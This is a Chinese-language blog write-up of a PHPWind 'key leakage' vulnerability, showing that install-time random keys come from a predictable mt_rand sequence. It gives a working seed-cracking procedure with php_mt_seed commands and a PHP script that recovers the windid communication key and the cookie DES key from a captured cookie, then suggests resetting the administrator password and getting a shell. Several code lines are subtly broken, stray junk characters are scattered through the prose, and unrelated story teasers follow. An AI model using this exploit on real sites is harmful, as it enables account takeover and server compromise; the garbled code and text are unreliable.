PHPWind 密鑰泄露

  1. 發(fā)布時間:2017-05-10
  2. 公開時間:N/A
  3. 漏洞類型:信息泄露
  4. 危害等級:高
  5. 漏洞編號:xianzhi-2017-05-94591722
  6. 測試版本:N/A

漏洞詳情

wind/utility/WindUtility.php 115行 generateRandStr函數(shù)

public static function generateRandStr($length) {
        $mtstring = 'AzBy0CxDwEv1FuGtHs2IrJqK3pLoM4nNmOlP5kQjRi6ShTgU7fVeW8dXcY9bZa';
        $randstr = '';
        for ($i = 0; $i < $length; $i++) {
            $randstr .= $mt_string[mt_rand(0, 61)];
        }
        return $randstr;
    }

函數(shù)調(diào)用時沒有用mt_srand初始化隨機數(shù)種子 在已知序列且部分mt_rand值可知的情況下 可以爆破seeds 導(dǎo)致所有生成的“隨機值”可被輕易計算
安裝時有3處調(diào)用了generateRandStr函數(shù) 分別是
finishAction中的

$site_hash = WindUtility::generateRandStr(8);
$cookie_pre = WindUtility::generateRandStr(3);

和dataAction中的

$this->_writeWindid();//這個函數(shù)中調(diào)用如下
$key = md5(WindUtility::generateRandStr(10));

安裝時抓包看調(diào)用順序是data->finish
所以隨機序列是

mt_rand()10 //$key windid通信密鑰
mt_rand()8  //$site_hash cookie加解密DES密鑰 
mt_rand()3  //$cookie_pre cookie前綴

按這個順序跑了一次php_mt_seeds沒成功 看來安裝的時候還有別的mt_rand調(diào)用 搜了一下 發(fā)現(xiàn)一個函數(shù)

private function _checkWriteAble($pathfile) {
        if (!$pathfile) return false;
        $isDir = in_array(substr($pathfile, -1), array('/', '\')) ? true : false;
        if ($isDir) {
            if (is_dir($pathfile)) {
                mt_srand((double) microtime()  1000000);
                $pathfile = $pathfile . 'pw' . uniqid(mt_rand()) . '.tmp';
            } elseif (@mkdir($pathfile)) {
                return self::_checkWriteAble($pathfile);
            } else {
                return false;
            }
        }
        @chmod($pathfile, 0777);
        $fp = @fopen($pathfile, 'ab');
        if ($fp === false) return false;
        fclose($fp);
        $isDir && @unlink($pathfile);
        return true;
    }

函數(shù)是用來檢查目錄寫權(quán)限的 可以看到當(dāng)參數(shù)是目錄的時候 會用mt_srand重置隨機數(shù) 然后再調(diào)用了一次mt_rand()健盒。
這個函數(shù)調(diào)用的地方不少 但我們不用去管它調(diào)用幾次,因為只要參數(shù)是文件 就不會mt_srand也不會mt_rand
只要參數(shù)是目錄 那么就會mt_srand()+mt_rand()
不管怎么調(diào)用這個函數(shù) 都只需要在最后計算序列時加上一次就可以了 而且因為這個函數(shù)的存在 使得我們的seeds范圍大大減小(double)microtime()1000000
重新梳理邏輯
現(xiàn)在隨機數(shù)序列是這樣

[mt_srand(x)+mt_rand()]N
mt_rand()10 //$key windid通信密鑰
mt_rand()8  //$site_hash cookie加解密DES密鑰 
mt_rand()3  //$cookie_pre cookie前綴

寫個腳本來生成參數(shù)

$mt_string = 'AzBy0CxDwEv1FuGtHs2IrJqK3pLoM4nNmOlP5kQjRi6ShTgU7fVeW8dXcY9bZa';
$cookie_pre = 'JIE'; //cookie_pre
for($i=0;$i<19;$i++){ //1+10+8
    echo "0 0 0 0 ";
}
for($i=0;$i<3;$i++){
    $pos = strpos($mt_string,$cookie_pre[$i]);
    echo "$pos $pos 0 61 ";
}

丟給php_mt_seeds

./php_mt_seed 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 21 21 0 61 19 19 0 61 9 9 0 61 >1.txt

因為只有3個已知值 所以跑出來的seeds會不少 不過因為前面用mt_srand自己置的seeds 所以在跑完
trying 0 - 33554431 之后就可以ctrl+c停止了
整理下文件

cat 1.txt | awk '{print $3}'|tr -s '\n' >seeds.txt

丟個下一個腳本

<?php
$cookie = urldecode('D%2BTThp3bRjrgqq5uut%2FcE%2FYuevs2Z6Gc%2BsFxOwpn%2BhETDbAPa1%2FTKA%3D%3D');
//登錄后的cookie
$file = fopen("seeds.txt","rb");
$new_seeds = '';
while(!feof($file)){
    $seed = fgets($file);
    mt_srand(intval($seed));
    $pad = mt_rand();
    $key = generateRandStr(10);
    $hash = generateRandStr(8);
    $pre = generateRandStr(3);
    if(check($cookie,$hash)){
        die($seed.$hash."\n".md5($key));
    }
}
function check($cookie,$hash){
    if(decrypt($cookie,$hash)){
        echo "result:".decrypt($cookie,$hash)."\n";
        return true;
    }else{
        return false;
    }
}
function decrypt($str, $key, $iv = '') {
        $size = mcrypt_get_block_size(MCRYPT_DES, MCRYPT_MODE_CBC);
        $iv = substr(md5($iv ? $iv : $key), -$size);
        $str = base64_decode($str);
        @$str = mcrypt_cbc(MCRYPT_DES, $key, $str, MCRYPT_DECRYPT, $iv);
        $pad = ord($str{strlen($str) - 1});
        if ($pad > strlen($str)) return false;
        if (strspn($str, chr($pad), strlen($str) - $pad) != $pad) return false;
        return substr($str, 0, -1  $pad);
}

分分鐘出結(jié)果

result:2 44aef40f6b1629ffa04e8b2b24c12372
263450
Lw0xe4Vt
222abc490d4c50ccc7c07419ba501898

看看我們的配置文件


view.png

接下來 不管是拿hash去玩cookie
還是直接用windid玩用戶 都隨便 直接修改管理員密碼進后臺getshell都沒什么問題

?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
  • 序言:七十年代末扣癣,一起剝皮案震驚了整個濱河市惰帽,隨后出現(xiàn)的幾起案子,更是在濱河造成了極大的恐慌搏色,老刑警劉巖善茎,帶你破解...
    沈念sama閱讀 218,755評論 6 507
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件券册,死亡現(xiàn)場離奇詭異频轿,居然都是意外死亡,警方通過查閱死者的電腦和手機烁焙,發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 93,305評論 3 395
  • 文/潘曉璐 我一進店門航邢,熙熙樓的掌柜王于貴愁眉苦臉地迎上來,“玉大人,你說我怎么就攤上這事≈臆瘢” “怎么了肿仑?”我有些...
    開封第一講書人閱讀 165,138評論 0 355
  • 文/不壞的土叔 我叫張陵,是天一觀的道長兽泄。 經(jīng)常有香客問我,道長,這世上最難降的妖魔是什么勒极? 我笑而不...
    開封第一講書人閱讀 58,791評論 1 295
  • 正文 為了忘掉前任,我火速辦了婚禮辱匿,結(jié)果婚禮上,老公的妹妹穿的比我還像新娘匾七。我一直安慰自己江兢,他們只是感情好,可當(dāng)我...
    茶點故事閱讀 67,794評論 6 392
  • 文/花漫 我一把揭開白布扔嵌。 她就那樣靜靜地躺著痢缎,像睡著了一般。 火紅的嫁衣襯著肌膚如雪独旷。 梳的紋絲不亂的頭發(fā)上,一...
    開封第一講書人閱讀 51,631評論 1 305
  • 那天案疲,我揣著相機與錄音麻养,去河邊找鬼。 笑死备畦,一個胖子當(dāng)著我的面吹牛懂盐,可吹牛的內(nèi)容都是我干的。 我是一名探鬼主播莉恼,決...
    沈念sama閱讀 40,362評論 3 418
  • 文/蒼蘭香墨 我猛地睜開眼俐银,長吁一口氣:“原來是場噩夢啊……” “哼端仰!你這毒婦竟也來了?” 一聲冷哼從身側(cè)響起榆俺,我...
    開封第一講書人閱讀 39,264評論 0 276
  • 序言:老撾萬榮一對情侶失蹤茴晋,失蹤者是張志新(化名)和其女友劉穎,沒想到半個月后市袖,有當(dāng)?shù)厝嗽跇淞掷锇l(fā)現(xiàn)了一具尸體烁涌,經(jīng)...
    沈念sama閱讀 45,724評論 1 315
  • 正文 獨居荒郊野嶺守林人離奇死亡,尸身上長有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點故事閱讀 37,900評論 3 336
  • 正文 我和宋清朗相戀三年微峰,在試婚紗的時候發(fā)現(xiàn)自己被綠了蜓肆。 大學(xué)時的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片。...
    茶點故事閱讀 40,040評論 1 350
  • 序言:一個原本活蹦亂跳的男人離奇死亡症概,死狀恐怖,靈堂內(nèi)的尸體忽然破棺而出彼城,到底是詐尸還是另有隱情退个,我是刑警寧澤,帶...
    沈念sama閱讀 35,742評論 5 346
  • 正文 年R本政府宣布司抱,位于F島的核電站黎烈,受9級特大地震影響照棋,放射性物質(zhì)發(fā)生泄漏。R本人自食惡果不足惜烈炭,卻給世界環(huán)境...
    茶點故事閱讀 41,364評論 3 330
  • 文/蒙蒙 一符隙、第九天 我趴在偏房一處隱蔽的房頂上張望垫毙。 院中可真熱鬧,春花似錦综芥、人聲如沸。這莊子的主人今日做“春日...
    開封第一講書人閱讀 31,944評論 0 22
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽。三九已至虾啦,卻和暖如春蚜枢,著一層夾襖步出監(jiān)牢的瞬間针饥,已是汗流浹背。 一陣腳步聲響...
    開封第一講書人閱讀 33,060評論 1 270
  • 我被黑心中介騙來泰國打工筷凤, 沒想到剛下飛機就差點兒被人妖公主榨干…… 1. 我叫王不留苞七,地道東北人。 一個月前我還...
    沈念sama閱讀 48,247評論 3 371
  • 正文 我出身青樓卢厂,卻偏偏與公主長得像惠啄,于是被迫代替她去往敵國和親。 傳聞我的和親對象是個殘疾皇子融柬,可洞房花燭夜當(dāng)晚...
    茶點故事閱讀 44,979評論 2 355

推薦閱讀更多精彩內(nèi)容